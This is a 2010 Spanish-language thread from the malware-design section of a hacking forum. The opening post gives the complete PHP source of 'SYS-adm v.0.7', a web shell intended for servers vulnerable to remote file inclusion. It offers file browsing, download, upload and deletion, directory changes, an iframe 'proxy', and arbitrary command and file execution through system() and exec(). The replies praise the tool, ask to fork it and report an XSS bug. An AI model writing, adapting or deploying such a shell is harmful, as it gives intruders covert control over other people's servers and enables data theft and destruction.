elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware
| | |-+  Abril negro (Moderadores: Man-In-the-Middle, WHK, kub0x, fary)
| | | |-+  [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php  (Leído 8,683 veces)
shug0

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
[Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« en: 30 Abril 2010, 01:21 am »

SYS-adm v.0.7 - shell php

despues de un time pensando si presentarme o no, voy a probar a ver que tal....
presento un pequeño script para poder llevar a cabo algunas acciones de forma remota en un server vulnerable tipo RFI....

-> Sobre el script
tiene distintas funcionalidades, como son:

[+] informacion sobre el server remoto (tipo de OS, estado del safemode, usuario....)
[+] un pequeño "proxy" interno (permite navegar de forma remota utilizando el script, se tiene que indicar el tipo de protocolo ya sea http o ftp)
[+] listado de directorios (pues eso, lista los directorios por donde nos podemos mover)
[+] navegacion por directorios, descarga y/o eliminacion de archivos (permite moverse por los distintos directorios que hay, como tambien la descarga o eliminacion de un archivo)
[+] subida de archivos
[+] creacion y/o eliminacion de un directorio (se muestra en una caja de texto la ruta actual donde nos encontramos)
[+] permite la ejecucion de comandos como tambien de ficheros

-> problemas

de los problemas que hay, el que mas problemas da es el tema del usuario y permisos que este posee.
en el momento de crear directorios, eliminar directorios/archivos, ejecutar comandos y archivos (aunque en algunos apartados se muestran avisos si hay activo el safemode y se alerta sobre el tema de los permisos) no lo permite o se puede ver que no hace la accion que se le dice.

otro problema esta en el momento de descargar los archivos, el nombre que da a dicho archivo suele ser la ruta completa hacia este y con el caracter [_] de separador (por ejemplo en un OS win$ hay un archivo a descargar en C:\asdf.exe lo muestra como "C__asdf.exe"), pero permite descargarlos (en alguna ocasion quita la extension del archivo, pero con ponersela cuando lo tenemos descargado funciona).

cuando se elimina un directorio se tiene que encontrar vacio, otro problema

tambien en el momento de subir un archivo, lo sube en el directorio donde se encuentra el script en lugar de hacerlo en el actual donde estamos O.o

-> source

Código
  1. <?php
  2. #modificamos el time final de ejecucion del script
  3. @set_time_limit(0); //indefinido
  4.  
  5. #si hemos seleccionado el boton para descarga....
  6. if(isset($_POST['down'])){
  7. if(isset($_POST['file'])){
  8. #descargamos el fichero que hemos seleccionado
  9. header( "Content-Type: application/octet-stream");  
  10. header( "Content-Length: ".filesize($_POST['file']));  
  11. header( "Content-Disposition: attachment; filename=".$_POST['file']."");  
  12. readfile($_POST['file']);
  13. }
  14. }else if(isset($_POST['delete'])){
  15. if(isset($_POST['file'])){
  16. #borramos el fichero que hemos seleccionado
  17. unlink($_POST['file']);
  18. }
  19. }
  20.  
  21. #ejecutamos el archivo segun lo que haya introducido el usuario
  22. if(isset($_POST['exefile'])){
  23. if(isset($_POST['strg_file'])){
  24. exec($_POST['strg_file']);
  25. }
  26. }
  27.  
  28. #variable que se utilizara para ver en que OS nos encontramos
  29. $OS = strtolower(substr(PHP_OS, 0, 3));
  30.  
  31. /****************************************************************/
  32. #estilos css aplicados en la shell
  33. echo '<style type="text/css">';
  34. echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}';
  35. echo 'a{color: #FF0000;text-decoration: none;}';
  36. echo 'a:hover{color: #00FF00;text-decoration: underline overline;}';
  37. echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}';
  38. echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}';
  39. echo 'iframe{margin: 5px;}';
  40. echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}';
  41. echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  42. echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}';
  43. echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}';
  44. echo '#list td{vertical-align: top;}';
  45. echo '#list a{color: #77FF77;text-decoration: none;}';
  46. echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}';
  47. echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
  48. echo '.time{position: right;}';
  49. echo '</style>';
  50. /****************************************************************/
  51.  
  52. #subimos ficheros en el servidor
  53. if(isset($_FILES['file'])){
  54. $dest = getcwd(); //directorio donde nos encontramos
  55. move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script
  56. }
  57. #recuperamos la url que ha introducido el usuario y lo añadimos en el proxy
  58. if(isset($_POST['url'])){
  59. $url = $_POST['url'];
  60. }
  61. #recuperamos el directorio actual que enviamos por parametro
  62. if(isset($_GET['directory'])){
  63. chdir($_GET['directory']);
  64. $dir = getcwd();
  65. }else{
  66. //obtenemos el directorio actual y mostramos la lista
  67. $dir = getcwd();
  68. }
  69. #funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial)
  70. function permissions($perms){
  71.  
  72. if (($perms & 0xC000) == 0xC000) {// Socket
  73.    $info = 's';
  74. } elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
  75.    $info = 'l';
  76. } elseif (($perms & 0x8000) == 0x8000) {// Regular
  77.    $info = '-';
  78. } elseif (($perms & 0x6000) == 0x6000) {// Block special
  79.    $info = 'b';
  80. } elseif (($perms & 0x4000) == 0x4000) {// Directory
  81.    $info = 'd';
  82. } elseif (($perms & 0x2000) == 0x2000) {// Character special
  83.    $info = 'c';
  84. } elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
  85.    $info = 'p';
  86. } else {// Unknown
  87.    $info = 'U';
  88. }
  89. // Owner
  90. $info .= (($perms & 0x0100) ? 'r' : '-');
  91. $info .= (($perms & 0x0080) ? 'w' : '-');
  92. $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
  93. // Group
  94. $info .= (($perms & 0x0020) ? 'r' : '-');
  95. $info .= (($perms & 0x0010) ? 'w' : '-');
  96. $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
  97. // World
  98. $info .= (($perms & 0x0004) ? 'r' : '-');
  99. $info .= (($perms & 0x0002) ? 'w' : '-');
  100. $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
  101.  
  102. return $info;
  103.  
  104. }
  105. #creamos el nuevo directorio que el usuario a introducido o lo eliminamos
  106. if(isset($_POST['create'])){
  107. if(isset($_POST['direct'])){
  108. @mkdir($_POST['direct']);
  109. }
  110. }else if(isset($_POST['drop'])){
  111. if(isset($_POST['direct'])){
  112. @rmdir($_POST['direct']);
  113. }
  114. }
  115. /****************************************************************/
  116.  
  117. #estructura de la pagina web que mostraremos al usuario
  118. echo '<html>';
  119. echo '<head>';
  120. #titulo de la pagina
  121. echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>';
  122. echo '</head>';
  123.  
  124. /*********************************************************/
  125. /**************parte central de la pagina*****************/
  126. /*********************************************************/
  127. echo '<body>';
  128.  
  129. echo '<div id="header">';
  130. # header con el logo
  131. echo '8""""8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8""""8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>v.0.7&nbsp;&nbsp;[<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />';
  132. echo '8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eeeee&nbsp;eeeee&nbsp;eeeeeee&nbsp;<br />';
  133. echo '8eeeee&nbsp;8eeee8&nbsp;8eeeee&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;&nbsp;8&nbsp;8&nbsp;&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  134. echo '&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;eeee&nbsp;8eee8&nbsp;8e&nbsp;&nbsp;8&nbsp;8e&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  135. echo 'e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;e&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;&nbsp;8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;<br />';
  136. echo '8eee88&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;&nbsp;8eee88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;88&nbsp;&nbsp;8&nbsp;88ee8&nbsp;88&nbsp;8&nbsp;&nbsp;8&nbsp;';
  137. echo '';
  138. echo '</div>';
  139.  
  140. echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto
  141. echo '-> <b>Server Info</b> <-<br /><br />';
  142. if($OS == 'win'){ //si el OS es un sistema win$
  143. $chr = '\\';
  144. echo 'Server OS -> <b><u>'.php_uname().'</u></b> [<b><font color="#FF0000"><u>'.getenv('OS').'</u></font></b>]'; //OS del servidor remoto
  145. echo '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos
  146. echo 'User name -> <b><u>'.getenv('username').'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.getenv('userprofile').'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  147. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  148. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  149.  
  150. #comprobamos si el safemode esta activo o no en el sistema
  151. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  152. $sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  153. }else{
  154. $sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  155. }
  156. /***********************************************************************/
  157.  
  158. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  159. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  160. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  161.  
  162. }else{ //OS unix like - gnu/linux
  163. $chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas
  164.  
  165. $inf = posix_getpwuid(posix_getuid()); //obtenemos la informacion
  166. echo 'Server OS -> <b><u>'.php_uname().'</u></b><br />'; //OS del servidor remoto
  167. echo 'User name -> <b><u>'.$inf['name'].'</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
  168. echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
  169. echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
  170.  
  171. #lo mismo que anteriormente, comprobamos si esta on o off el safemode
  172. if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
  173. $sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
  174. }else{
  175. $sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
  176. }
  177. /**************************************************************************/
  178.  
  179. echo 'Safe mode -> '.$sfmod.'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
  180. echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
  181. echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
  182. }
  183.  
  184. echo '</div>'; //fin del div que contiene la informacion
  185. /***************************************************************************/
  186.  
  187. /***************************************************************************/
  188. #apartado donde se utilizara el "proxy" de la shell
  189. echo '<div class="title">';
  190. echo '-> <b>SYS-adm Proxy</b> <-<br /><br />';
  191. echo '[NOTE -> add http:// or ftp:// to specify protocol]';
  192. echo '</div>';
  193. echo '<div id="proxy">';
  194.  
  195. #formulario para el envio de enlaces al "proxy" de la shell
  196. if(!isset($url)){
  197. echo '<form action="" method="post">';
  198. echo '<input type="text" name="url" size="100" />&nbsp;';
  199. echo '<input type="submit" value="Browse" />';
  200. echo '</form>';
  201. }elseif(isset($url)){
  202. echo '<form action="" method="post">';
  203. echo '<input type="text" name="url" size="100" value="'.$url.'" />&nbsp;';
  204. echo '<input type="submit" value="Browse" />';
  205. echo '</form>';
  206.  
  207. #mostramos la url que nos envia el usuario en el formulario
  208. echo '    <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">';
  209. #en caso de no tener operativo los iframes el navegador....
  210. echo '      <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>';
  211. echo '    </iframe>';
  212. }
  213. echo '</div>'; //fin del apartado de "proxy"
  214. /************************************************************************/
  215.  
  216. #apartado donde mostraremos el listado de directorio
  217. echo '<div>';
  218. echo '<div class="title">';
  219. echo '-> <b>Directory List</b> <-<br /><br />';
  220. echo '</div>';
  221. echo '<div id="list">';
  222. echo '<b>'.$dir.'</b>&nbsp;&nbsp;&nbsp;';
  223. echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual
  224. $files = array(); //array donde meteremos el listado
  225. echo '<br />';
  226. //tabla donde se muestran los distintos apartados, primeramente los titulos
  227. echo '<table width="100%">';
  228. echo '<tr>';
  229. echo '<td width="35%">';
  230. echo '<b>Name</b>';
  231. echo '</td>';
  232. echo '<td align="center" width="15%">';
  233. echo '<b>Size</b>';
  234. echo '</td>';
  235. echo '<td align="center" width="15%">';
  236. echo '<b>Last modified</b>';
  237. echo '</td>';
  238. echo '<td align="center" width="15%">';
  239. echo '<b>Permissions</b>';
  240. echo '</td>';
  241. echo '<td width="20%">';
  242. echo '<b>File actions</b>';
  243. echo '</td>';
  244. echo '</tr>';
  245.  
  246. #mostramos los distintos files/directories como la info sobre su "size", permisos....
  247. if(is_dir($dir)){ //comprobamos que el directorio actual es un directorio
  248. if($dd = opendir($dir)){
  249. while(($elem = readdir($dd)) !== false){
  250. if(is_dir($elem)){ //si es un directorio lo mostramos por pantalla
  251. echo '<tr><td class="files">';
  252. echo '<a href="'.basename($_SERVER['PHP_SELF']).'?directory='.getcwd().'/'.$elem.'"><font color="#7777FF">'.$elem.'</font></a>'; //link para movernos hacia el directorio en question
  253. echo '</td>';
  254. echo '<td align="right">';
  255. echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero)
  256. echo '</td>';
  257. echo '<td align="right">';
  258. echo date('Y/m/d H:i:s',filemtime($elem)); //ultima modificacion
  259. echo '</td>';
  260. echo '<td align="center">';
  261. echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir
  262. echo '</td>';
  263. echo '</tr>';
  264. }else{
  265. $files[] = $elem;
  266. }
  267. }
  268. for($x = 0;$x < count($files);$x++){ //mostramos los archivos
  269. echo '<tr><td>';
  270. echo '<font color="#77FF77">'.$files[$x].'</font>';
  271. echo '</td>';
  272. echo '<td align="right">';
  273. #mostramos el size del archivo, si es excesivo mostramos un aviso
  274. if(eregi('-',(filesize($files[$x])/1024))){
  275. echo '<font color="#BB8800"> filesize &gt; 4</font><font color="#FF0000"> GB</font>';
  276. }else{
  277. echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>';
  278. }
  279.  
  280. echo '</td>';
  281. echo '<td align="right">';
  282. echo date('Y/m/d H:i:s',filemtime($files[$x])); //fecha de modificacion
  283. echo '</td>';
  284. echo '<td align="center">';
  285. echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo
  286. echo '</td>';
  287. echo '<td>';
  288. echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">';
  289. echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto
  290. echo '<input type="submit" name="down" value="Download" />&nbsp;';
  291. echo '<input type="submit" name="delete" value="Remove" />';
  292. echo '</form>';
  293. echo '</td>';
  294. echo '</tr>';
  295. }
  296. }
  297. closedir($dd); //cerramos el directorio
  298. }
  299. echo '</table>'; //terminamos la tabla
  300. echo '</div>';
  301. echo '</div>';
  302. //final del apartado de listado de directorios
  303.  
  304. #apartado para la subida de archivos
  305. echo '<div id="info">';
  306. echo '-> <b>File manager</b> <-<br /><br />';
  307. echo '<table align="center" size="75%">';
  308. echo '<tr><td colspan="3" align="center">';
  309. //formulario para el envio de archivos
  310. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">';
  311. echo '<input type="file" name="file" />&nbsp;';
  312. echo '<input type="submit" name="submit" value="upload" />';
  313. echo '</form>';
  314.  
  315. echo '</td></tr>';
  316. //formulario para la creacion de directorios o su eliminacion
  317. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  318. echo '<tr>';
  319. echo '<td>';
  320. echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual
  321. echo '</td>';
  322. echo '<td>&nbsp;</td>';
  323. echo '<td>';
  324. echo '<input type="submit" name="create" value="Create Directory" />&nbsp;';
  325. echo '<input type="submit" name="drop" value="Delete Directory" />';
  326. echo '</td>';
  327. echo '</tr>';
  328. echo '<tr><td>&nbsp;</td></tr>';
  329. echo '</form>';
  330.  
  331. echo '</table>';
  332. echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions';
  333. echo '</div>';
  334. #final del apartado de subida de archivos modificacion de directorios
  335.  
  336. #apartado para la ejecucion de comandos o archivos
  337. echo '<div id="info">';
  338. echo '-> <b>Process Manager</b> <-';
  339. echo '<br /><br />';
  340.  
  341. #mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente
  342. if(isset($_POST['exe'])){
  343. if(isset($_POST['strg_com'])){
  344. echo system($_POST['strg_com']);
  345. }
  346. }
  347.  
  348. #permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode
  349. if($OS == 'win'){ //sistema win$
  350. if(eregi('off',$sfmod)){
  351. #mostramos los procesos en caso de estar inactivo
  352. echo '<table align="center">';
  353. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  354. echo '<tr><td>';
  355. echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  356. echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando
  357. echo '</td></tr>';
  358.  
  359. echo '<br /><br />';
  360.  
  361. echo '<tr><td>';
  362. echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  363. echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo
  364. echo '</tr></td>';
  365. echo '</form>';
  366.  
  367. echo '</table>';
  368. }else{
  369. #mostramos una alerta en caso de estar activo
  370. echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  371. echo '<br />';
  372. }
  373. }else{ //gnu/linux - unix like, lo mismo que el apartado anterior
  374. if(eregi('off',$sfmod)){
  375. #mostramos los procesos en caso de estar inactivo
  376. echo '<table align="center">';
  377. echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
  378. echo '<tr><td>';
  379. echo '<input type="text" size="50" name="strg_com" />&nbsp;';
  380. echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos
  381. echo '</td></tr>';
  382.  
  383. echo '<br /><br />';
  384.  
  385. echo '<tr><td>';
  386. echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" />&nbsp;';
  387. echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos
  388. echo '</tr></td>';
  389. echo '</form>';
  390. echo '</table>';
  391. echo 'NOTE -> Alert with user permissions';
  392. echo '<br />';
  393. }else{
  394. #mostramos una alerta en caso de estar activo la proteccion
  395. echo '<font color="#FF0000">Alert, safe mode is active...</font>';
  396. echo '<br />';
  397. }
  398. }
  399. echo '<br />';
  400. echo '</div>';
  401. #pie de pagina, donde mostramos la hora y demas
  402. echo '<div id="footer">';
  403. echo '-> <b>b10s_0v3rr1d3 '.chr(135).' SYS-adm v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>] </b><font color="#00FF00"> '.date('d/m/Y H:i:s').' </font><-';
  404. echo '</div>';
  405. echo '</body>';
  406. /*********************************************************/
  407. /********terminamos la parte central de la pagina*********/
  408. /*********************************************************/
  409.  
  410. echo '</html>';
  411. //final de la pagina/shell
  412. ?>
  413.  

en el codigo hay comentarios en los distintos apartados para que se pueda ver que se hace en cada uno de los apartados.
se han hecho pruebas y funciona en php5
en el siguiente enlace se puede descargar:

http://www.megaupload.com/?d=J95A6WF0

pequeña captura:



se van haciendo modificaciones para su mejora y demas, si hay algun comentario, mejoras y demas criticas comenten.
nos leemos :P


« Última modificación: 30 Abril 2010, 01:24 am por b10s_0v3rr1d3 » En línea

Zzombi

Desconectado Desconectado

Mensajes: 174



Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #1 en: 30 Abril 2010, 01:53 am »

se ve bien... solo que ya no es facil encontra una web vulnerable a RFI  :-\


En línea

E.P.I.


Desconectado Desconectado

Mensajes: 346


elprogramadorinformatico [E.P.I.]


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #2 en: 30 Abril 2010, 20:59 pm »

¡Adoremos al gran señor! Muy bueno  :o

Saludos  :P
En línea

La verdad nos hará libres
KaozC9

Desconectado Desconectado

Mensajes: 18



Ver Perfil
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #3 en: 1 Mayo 2010, 18:50 pm »

que licencia tiene? digo puedo modificarla y sacar un fork? (mi flojera es muy grande en estos momentos xd para programar todo desde 0 xD)
En línea

shug0

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #4 en: 6 Mayo 2010, 00:46 am »


como el codigo esta abierto, no hay mucha cosa mas a decir sobre la licencia.
En línea

Azielito
no es
Colaborador
***
Desconectado Desconectado

Mensajes: 9.188


>.<


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #5 en: 6 Mayo 2010, 21:23 pm »

tiene un bugcito de XSS

X)

supongo que eso depende de la version de PHP que estes usando, pero aun as hay que cuidar eso x)


« Última modificación: 6 Mayo 2010, 21:26 pm por Azielito » En línea

shug0

Desconectado Desconectado

Mensajes: 185

si puede hacerse debe hacerse


Ver Perfil WWW
Re: [Abril negro][src][PHP] SYS-adm v.0.7 - shell php
« Respuesta #6 en: 7 Mayo 2010, 00:49 am »


grax por el comentario, tomo nota para prevenir el fallo :P
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Abril Negro (JSP Shell)
Abril negro
Panic:~ 0 3,514 Último mensaje 7 Abril 2017, 02:58 am
por Panic:~
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines